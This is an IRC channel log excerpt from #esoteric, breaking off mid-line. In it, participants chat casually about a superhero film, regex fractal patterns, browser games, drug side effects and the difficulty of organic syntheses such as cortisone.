:#esoteric < 1395873320 347563 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395873665 142173 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395874095 422454 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1395874396 26868 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hallo < 1395874454 158319 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395874722 207113 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Captain America: The Winter Soldier was good < 1395874820 632444 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :shouldn't that have been Captain Finland < 1395874832 415869 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :The winter soldier was a different character < 1395874837 911185 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :"Captain America" refers to the series < 1395874850 247287 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :So really it should have been Captain America AND the Winter Soldier < 1395874866 875708 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so, was the winter soldier finnish, then < 1395874874 557869 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :No, he was American < 1395874881 291953 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :tragic < 1395874898 779030 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :We do have winters here, you know < 1395874917 9085 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think y'all are not familiar with the winter war. < 1395875177 54482 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com QUIT :Quit: This computer has gone to sleep < 1395875545 692479 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :http://sjoerdvisscher.handcraft.com/regexfractal.html < 1395875622 574795 :MoALTz!~no@user-109-243-145-237.play-internet.pl QUIT :Quit: Leaving < 1395876132 882475 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^..[24] < 1395876249 42710 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :the winter soldier could also reasonably be russian? < 1395876306 734785 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :theoretically. < 1395876329 412017 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^()(..(2|4).*$) < 1395876645 262974 :ion!ion@heh.fi PRIVMSG #esoteric :shachaf: cool < 1395876931 332481 :augur!~augur@129-2-129-35.wireless.umd.edu JOIN :#esoteric < 1395877117 763720 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :my failed attempt at a spiral still seemed slightly interesting ^(?:13|24|31|42)*(?:[12]*|[23]*|[34]*|1?4[14]*|14[12]*)$ < 1395877195 552413 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(probably more than a spiral, anyway) < 1395877276 920147 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :lexande, definitely in the comics was Russian-commanded? < 1395877285 908453 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :It is too late for me < 1395877297 767679 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 240 seconds < 1395877321 342198 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How is coloring determined? < 1395877440 396688 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: length of the first three capturing groups correspond to RGB < 1395877531 353955 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :e.g. i surrounded my chess pattern with ()( ... ) to make it green < 1395877565 563389 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I have not been making sense < 1395877567 602816 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and (( ... )) would make it yellow < 1395877571 219187 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I should sleep < 1395877572 808930 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Goodnight < 1395877744 144540 :augur!~augur@129-2-129-35.wireless.umd.edu QUIT :Remote host closed the connection < 1395877985 892115 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :ACTION --> bed < 1395878155 292137 :simpleirc!~simpleirc@2602:30a:2c4a:9e00:46a7:cfff:fe65:3b90 JOIN :#esoteric < 1395878159 593777 :simpleirc!~simpleirc@2602:30a:2c4a:9e00:46a7:cfff:fe65:3b90 NICK :Guest73347 < 1395878256 263179 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :strange bugs ^(?:13*(?:4[14]*|.[12])*|24*(?:[12]*|[23]*)|31*(?:[23]*|[34]*)|42*(?:[34]*|[14]*))$ < 1395878313 773617 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh misplaced parentheses, should be ^(?:13*(?:4[14]*|.[12]*)|24*(?:[12]*|[23]*)|31*(?:[23]*|[34]*)|42*(?:[34]*|[14]*))$ < 1395878324 993227 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(there you go, spiral) < 1395878385 278364 :augur_!~augur@129-2-129-35.wireless.umd.edu JOIN :#esoteric < 1395878477 862705 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(making an actual circular spiral left as exercise for the reader) < 1395878502 675981 :jix!~jix@jixco.de QUIT :Read error: No route to host < 1395878654 304013 :jix!~jix@jixco.de JOIN :#esoteric < 1395878718 213881 :Guest73347!~simpleirc@2602:30a:2c4a:9e00:46a7:cfff:fe65:3b90 QUIT :Ping timeout: 265 seconds < 1395878931 223756 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 268 seconds < 1395879716 581231 :augur_!~augur@129-2-129-35.wireless.umd.edu QUIT :Remote host closed the connection < 1395881029 338252 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395881127 113197 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1395881141 594837 :yorick!~yorick@oftn/member/yorick QUIT :Read error: Connection reset by peer < 1395881877 311716 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395882067 348207 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395882067 625807 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395882701 136956 :Speed``!~Speed@evile.thrash.im JOIN :#esoteric < 1395882774 304969 :Speed`!~Speed@evile.thrash.im QUIT :*.net *.split < 1395882775 753778 :spiette!~spiette@2607:fad8:4:6:a288:b4ff:fe60:a3b0 QUIT :*.net *.split < 1395882777 295231 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :*.net *.split < 1395882777 577999 :EgoBot!dlopen@libdl.so QUIT :*.net *.split < 1395882779 319628 :Sellyme!~Sellyme@irc.sellyme.com QUIT :*.net *.split < 1395883067 623197 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1395884963 741936 :xpte!uid17782@gateway/web/irccloud.com/session JOIN :#esoteric < 1395884963 928695 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395884963 928813 :spiette!~spiette@2607:fad8:4:6:a288:b4ff:fe60:a3b0 JOIN :#esoteric < 1395884963 928884 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395884963 928952 :EgoBot!dlopen@libdl.so JOIN :#esoteric < 1395884987 398888 :xpte!uid17782@gateway/web/irccloud.com/session QUIT :Changing host < 1395884987 585492 :xpte!uid17782@gateway/web/irccloud.com/x-htqrvwrexftdmwan JOIN :#esoteric < 1395885006 513206 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :to split, perchance to roam < 1395885052 448700 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com NICK :Guest81902 < 1395885238 123740 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395885802 495169 :Guest81902!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com NICK :augur < 1395886086 105156 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395886965 238738 :unmeg!~unmeg@203-58-25-79.static.tpgi.com.au JOIN :#esoteric < 1395887608 865774 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395889337 377324 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395891740 361249 :adm420!~adam@162-236-112-191.lightspeed.frokca.sbcglobal.net JOIN :#esoteric < 1395891783 572241 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1395891848 112561 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1395892029 953236 :vravn!~vravn@syn.rook.sx QUIT :Ping timeout: 255 seconds < 1395892197 959680 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION remembers when he believed VRML could never have gravity. Now VRML is dead. < 1395892210 899066 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(And has gravity) < 1395892370 719169 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :y'all are giving me `addquote withdrawal. < 1395892383 159747 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`echo hi < 1395892383 583027 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395892660 665490 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :just do it anyway and someone will grep the logs later < 1395892712 172046 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :did I mention that Rust actually does have quasiquote!!! https://github.com/kmcallister/html5/blob/master/macros/named_entities.rs#L103-L110 < 1395892714 390213 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :kmc: but `pastelogs wasn't working even when HackEgo was < 1395892721 8529 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :true < 1395892770 88779 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(iiuc Gregor didn't bother to move them to same machine - or worse, he may have moved them apart precisely to use less resources on each host) < 1395892796 339602 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*the logs to the same < 1395892858 13547 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :basically Gregor is evil, and now he hosts the wiki too! < 1395892865 662230 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hth < 1395892875 104336 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i thought fizzie was runnig the wiki < 1395892878 368877 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :or is running != hosting < 1395892888 8635 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :indeed running != hosting < 1395892906 969540 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :elliott couldn't convince one of them to do the whole job alone < 1395893042 367207 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ADdicfted to http://animuchan.net/moz_game/ < 1395893043 210934 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395893318 244367 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 246 seconds < 1395893340 567066 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1395893408 279924 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Game over. Deaths: 144 < 1395893415 589416 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Although I had to restart once because closed the tab < 1395893499 939825 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Quit: Leaving < 1395893610 58590 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The original 2d version has different music < 1395893652 331234 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395893825 720317 :ion!ion@heh.fi PRIVMSG #esoteric :I’m not a huge fan of the input latency < 1395893869 259394 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The 3d or 2d version, or do both have it? < 1395893883 38890 :ion!ion@heh.fi PRIVMSG #esoteric :The one you linked < 1395894011 188335 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Try http://www.lessmilk.com/3/ and see if it's better? < 1395894021 858686 :ion!ion@heh.fi PRIVMSG #esoteric :Yeah, just trying it. It seems to be better indeed. < 1395894103 570582 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395894128 348759 :unmeg!~unmeg@203-58-25-79.static.tpgi.com.au QUIT :Ping timeout: 240 seconds < 1395894135 568479 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Wonder if it's graphics card related < 1395894138 146897 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395894169 419140 :ion!ion@heh.fi PRIVMSG #esoteric :Died 127 times. < 1395894179 398935 :ion!ion@heh.fi PRIVMSG #esoteric :The framerate was fine, there was just a noticeable input lag. < 1395894232 498750 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :VVVVVV has better music < 1395894326 749731 :unmeg!~unmeg@203-58-25-79.static.tpgi.com.au JOIN :#esoteric < 1395894373 399402 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :78 times (on the 2D version) < 1395894437 669882 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.lessmilk.com/8/ < 1395894538 159802 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I am struggling with what looked like a simple game < 1395894653 588741 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395894654 428343 :ion!ion@heh.fi PRIVMSG #esoteric :“- you are not supposed to see this -” < 1395894674 148566 :ion!ion@heh.fi PRIVMSG #esoteric :And it wouldn’t let me type that and the bomb dropped to the city. < 1395894685 231089 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395894753 311002 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :People in comments saying that enter works for - < 1395894780 718982 :ion!ion@heh.fi PRIVMSG #esoteric :huh < 1395894794 458479 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I can't get that far though < 1395894799 218317 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The gibberish trips me up < 1395894881 528682 :ion!ion@heh.fi PRIVMSG #esoteric :Enter worked, then it said “are you a hacker? -” and wouldn’t let me type the question mark. < 1395894938 320098 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1395894983 878327 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :If it's possible to type the question mark, comments don't know how < 1395894990 318180 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And in the source, there are no sentences beyond that < 1395895012 648704 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :llllook at you hacker, a pathetic creature of meat and bone < 1395895041 908172 :ion!ion@heh.fi PRIVMSG #esoteric :an ugly sack of mostly water < 1395895250 724391 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :is bone so much different from meat, when you think about it < 1395895271 499623 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :We're all the same color on the inside < 1395895298 281404 :adm420!~adam@162-236-112-191.lightspeed.frokca.sbcglobal.net QUIT :Ping timeout: 240 seconds < 1395895304 229529 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: bone makes better soup broth < 1395895322 859289 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sometimes I come home and there is a pound of chicken feet in the refridgerator and this is why < 1395895329 809596 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :good point < 1395895356 162262 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :bone is so complicated though http://en.wikipedia.org/wiki/File:Caput_femoris_cortex_medulla.jpg < 1395895535 820390 :unmeg!~unmeg@203-58-25-79.static.tpgi.com.au QUIT :Ping timeout: 252 seconds < 1395895887 468840 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :im gonna write all the macros < 1395895939 573930 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kmc's a big fan of paul graham < 1395895946 378899 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ffffffff < 1395895974 340469 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :paul graham is a genius.. he must be.. he is rich! < 1395895979 681435 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :qed < 1395896016 299453 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :soon arc will have dozens of users! < 1395896043 409812 :ion!ion@heh.fi PRIVMSG #esoteric :Larry Graham is pretty cool, too. He invented the slap bass technique. We seem to have enough samples to make an extrapolation about all people named Graham. < 1395896064 339655 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what about graham's number < 1395896095 656977 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well that's an outlier by nearly all measure < 1395896095 957989 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fuck sylvester graham tho < 1395896096 792106 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :It's almost as big as PG's bank account < 1395896099 357773 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :s < 1395896109 782242 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :he invented the graham cracker as a food so boring it would make people want to stop having sex < 1395896112 678102 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :seriously < 1395896133 889153 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :flip Alexander Graham Bell < 1395896138 104167 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :how do you explain s'mores? < 1395896151 468707 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I don't fucking understand why people get so upset about teenagers masturbating < 1395896154 992693 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :newsham: An invitation to debauchery < 1395896161 395413 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :they'll go blind < 1395896172 797422 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :kmc: Zinc deficiency is killing our kids < 1395896185 101021 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :isn't it healthier and more harmless than basically anything else they'd be doing < 1395896253 300072 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :here's an activity that feels good, is good for you, requires no special equipment and consumes almost no resources... WE MUST STOP IT AT ALL COSTS < 1395896284 339416 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :way to be a shill for the masturbation lobby < 1395896292 374357 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :"tell a doctor if you experience uncontrolled muscle movement, as this can become permanent" < 1395896295 590600 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :wtf. < 1395896300 21893 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :why do peopel buy these poisons? < 1395896311 39609 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: they're just looking for a handout < 1395896314 820511 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :greasing some palms in washington < 1395896315 379291 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Which poison is this? < 1395896332 201051 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :dihydrogen monoxide < 1395896338 979587 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :"abilify" < 1395896344 489548 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Oh, that < 1395896394 299533 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Well, I imagine if you're depressed the idea of uncontrolled muscle movement has to be weighed against crushing emptiness < 1395896417 29523 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :you know whas worse than the feeling of crushing emptiness? < 1395896426 128939 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :actual literal crushing emptiness < 1395896426 590299 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :abilify, jesus < 1395896429 319375 :ion!ion@heh.fi PRIVMSG #esoteric :https://twitter.com/pbowden/status/448579361353240576 < 1395896436 600696 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :another side effect of abilify < 1395896439 56048 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :trade names are a scourge < 1395896466 631304 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh hey it's got chlorines... < 1395896498 690111 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i imagine people would be better if someone just sold them some pot or even some crack or heroin < 1395896522 557796 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :when you assume, you make an < 1395896592 270226 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ion: bahaha < 1395896600 717095 :ion!ion@heh.fi PRIVMSG #esoteric :presumption < 1395896620 19442 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :disjunction < 1395896625 740684 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I would guess that something named "aripiprazole" is harder to market < 1395896648 190522 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Also harder to say < 1395896656 547906 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :best part about smoking pot: doesn't give you parkinson's disease < 1395896664 442302 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it's not my fault the public is inadequately knowledgeable about orgo < 1395896693 624447 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :parkinsonism isn't parkinson's disease. < 1395896726 832317 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395896757 579812 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :newsham: I would say there are certain even better parts to smoking pot < 1395896772 419874 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you realize that the side effects don't happen to everyone right? < 1395896776 859735 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and that crack is also known to have side effects < 1395896794 27043 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :no, kmc, this did not occur to me < 1395896809 399496 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Including crack addiction and being fun at parties < 1395896819 576136 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Cannabidiol#Isomerism huh, that's interesting < 1395896833 243494 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that's good stuff < 1395896842 234970 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :proof: you realize that not everyone that takes crack is fun at parties < 1395896867 576187 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :not everyone that takes crack is mayor of toronto < 1395896867 919342 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :newsham: Damn, you're right < 1395896869 654235 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :if orgo people embraced the combinatorics inherent in the field i would be one happy camper < 1395896880 381251 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :no word on whether i'd be a high camper < 1395896889 170276 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: I had an idea that orgo synthesis is like proofs < 1395896907 116713 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :long if you're doing anything nontrivial, and nobody reads them? < 1395896911 569580 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hehe < 1395896921 86300 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you have a system of formal objects (labeled graphs, rather than strings), and certain templated manipulations on them < 1395896925 196066 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ACTION still burnt out after learning cortisone synthesis < 1395896928 379457 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and you need to derive a result from some available premises < 1395896931 969733 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but this breaks down in all kinds of ways < 1395896950 239687 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :aiui a lot of the steps are like "this will yield between 5% and 95% and nobody knows why" < 1395896951 261011 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yeah, like when you need to do some spectrometry to verify that you've gotten the right product < 1395896968 733729 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: tell me about cortisone synthesis < 1395896979 289460 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://upload.wikimedia.org/wikipedia/commons/7/7d/CubaneSynthesis.png < 1395896992 554302 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :there's a biochemist nanotech guy in #lisp doing something horrifying with SMILES. i tried reading one of his papers and holy shit he was like inventing his own analog of proteins?? < 1395897035 260704 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well, i was reading my intro endocrinology book and it mentioned that cortisone production was the hardest thing ever attempted by the pharm industry (this was in the 60s) < 1395897062 340481 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I have no idea what music is playing on the 3d version < 1395897069 456916 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the natural methods involved, like, getting several thousand tons of cattle, ripping out a few glands, extracting certain chemicals, and ending up with a yield on the order of grams, so i could see why they'd want to do synthesis < 1395897070 639722 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Seems to be encoded via LAME though < 1395897077 739998 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://animuchan.net/moz_game/media/audio/music.mp3 < 1395897086 319561 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also http://en.wikipedia.org/wiki/Octanitrocubane which would be the best explosive ever if anybody could manage to make it < 1395897097 727722 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :so i looked it up and it was like, you started out with this complex organic thing that was already produced < 1395897117 562484 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hexanitrohexaazaisowurtzitane < 1395897121 743541 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :and then you went through, literally, over twenty steps, some of which take over a day, and half of which came with spectrograms to verify that it worked < 1395897124 589595 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :is an exciting word < 1395897138 231046 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :and that got you a precursor, which through three more twenty-step procedures got you another compound < 1395897144 390975 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :and that other compound had a known path to cortisone. < 1395897188 719670 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net 